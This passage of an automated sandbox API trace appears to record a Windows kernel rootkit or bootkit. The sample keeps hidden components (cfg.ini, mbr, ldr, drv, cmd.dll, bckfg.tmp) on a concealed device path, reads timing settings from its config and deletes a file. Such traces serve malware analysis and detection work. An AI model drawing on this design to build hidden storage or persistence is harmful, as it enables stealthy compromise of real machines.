KeLeaveCriticalRegion () [0117.462] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.462] KeEnterCriticalRegion () [0117.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.462] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.462] IdePortDispatch () returned 0x103 [0117.462] KeWaitForMutexObject () returned 0x0 [0117.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.462] KeLeaveCriticalRegion () [0117.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.462] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.462] KeEnterCriticalRegion () [0117.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb1000 [0117.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.462] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.462] IdePortDispatch () returned 0x103 [0117.462] KeWaitForMutexObject () returned 0x0 [0117.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.463] IdePortDispatch () returned 0x103 [0117.463] KeWaitForMutexObject () returned 0x0 [0117.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.463] KeLeaveCriticalRegion () [0117.463] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.463] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.463] KeEnterCriticalRegion () [0117.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.463] KeLeaveCriticalRegion () [0117.463] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.464] KeEnterCriticalRegion () [0117.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.464] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.464] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.464] KeLeaveCriticalRegion () [0117.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.464] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.464] KeEnterCriticalRegion () [0117.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.464] ExFreePoolWithTag (P=0xfffffa80039d99c0, Tag=0x0) [0117.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.464] KeLeaveCriticalRegion () [0117.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.464] ReleaseMutex (hMutex=0xf0) returned 1 [0117.464] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.464] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.464] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.464] KeEnterCriticalRegion () [0117.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.464] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.464] IdePortDispatch () returned 0x103 [0117.464] KeWaitForMutexObject () returned 0x0 [0117.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.464] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.464] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.464] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.464] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.464] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9210 [0117.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.464] KeLeaveCriticalRegion () [0117.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.464] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.464] KeEnterCriticalRegion () [0117.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.465] KeLeaveCriticalRegion () [0117.465] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.465] KeEnterCriticalRegion () [0117.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.465] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.465] IdePortDispatch () returned 0x103 [0117.465] KeWaitForMutexObject () returned 0x0 [0117.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.465] KeLeaveCriticalRegion () [0117.465] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.465] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.465] KeEnterCriticalRegion () [0117.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb2000 [0117.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.465] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.465] IdePortDispatch () returned 0x103 [0117.465] KeWaitForMutexObject () returned 0x0 [0117.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.466] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.466] IdePortDispatch () returned 0x103 [0117.466] KeWaitForMutexObject () returned 0x0 [0117.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.466] KeLeaveCriticalRegion () [0117.466] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.466] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.466] KeEnterCriticalRegion () [0117.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.466] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.466] KeLeaveCriticalRegion () [0117.466] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.466] KeEnterCriticalRegion () [0117.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.466] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.466] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.466] KeLeaveCriticalRegion () [0117.466] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.466] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.467] KeEnterCriticalRegion () [0117.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.467] ExFreePoolWithTag (P=0xfffffa80039d9210, Tag=0x0) [0117.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.467] KeLeaveCriticalRegion () [0117.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.467] ReleaseMutex (hMutex=0xf0) returned 1 [0117.467] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.467] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.467] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.467] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.467] KeEnterCriticalRegion () [0117.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.467] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.467] IdePortDispatch () returned 0x103 [0117.467] KeWaitForMutexObject () returned 0x0 [0117.467] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.467] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.467] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.467] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.467] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.467] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.467] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.467] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.467] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.467] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.467] KeLeaveCriticalRegion () [0117.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.467] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.468] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.468] KeEnterCriticalRegion () [0117.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.468] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.468] IdePortDispatch () returned 0x103 [0117.468] KeWaitForMutexObject () returned 0x0 [0117.468] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.468] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.468] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.468] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.468] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.468] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.468] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.468] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.468] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.468] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.468] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.468] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.468] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.468] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.468] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.468] KeLeaveCriticalRegion () [0117.468] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.468] ReleaseMutex (hMutex=0x100) returned 1 [0117.468] Sleep (dwMilliseconds=0x2bf20) [0117.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69364990, dwHighDateTime=0x1d24fa4)) [0117.474] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.474] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.475] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.475] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.475] KeEnterCriticalRegion () [0117.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.475] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.475] IdePortDispatch () returned 0x103 [0117.475] KeWaitForMutexObject () returned 0x0 [0117.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.475] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.475] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.475] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.475] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.475] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9970 [0117.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.475] KeLeaveCriticalRegion () [0117.475] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.475] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.476] KeEnterCriticalRegion () [0117.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.476] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.476] KeLeaveCriticalRegion () [0117.476] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.476] KeEnterCriticalRegion () [0117.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.476] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.476] IdePortDispatch () returned 0x103 [0117.476] KeWaitForMutexObject () returned 0x0 [0117.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.476] KeLeaveCriticalRegion () [0117.476] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.476] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.476] KeEnterCriticalRegion () [0117.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.476] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb5000 [0117.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.477] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.477] IdePortDispatch () returned 0x103 [0117.477] KeWaitForMutexObject () returned 0x0 [0117.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.477] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.477] IdePortDispatch () returned 0x103 [0117.477] KeWaitForMutexObject () returned 0x0 [0117.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.477] KeLeaveCriticalRegion () [0117.477] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.478] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.478] KeEnterCriticalRegion () [0117.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.478] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.478] KeLeaveCriticalRegion () [0117.478] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.478] KeEnterCriticalRegion () [0117.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.478] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.478] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.478] KeLeaveCriticalRegion () [0117.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.478] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: 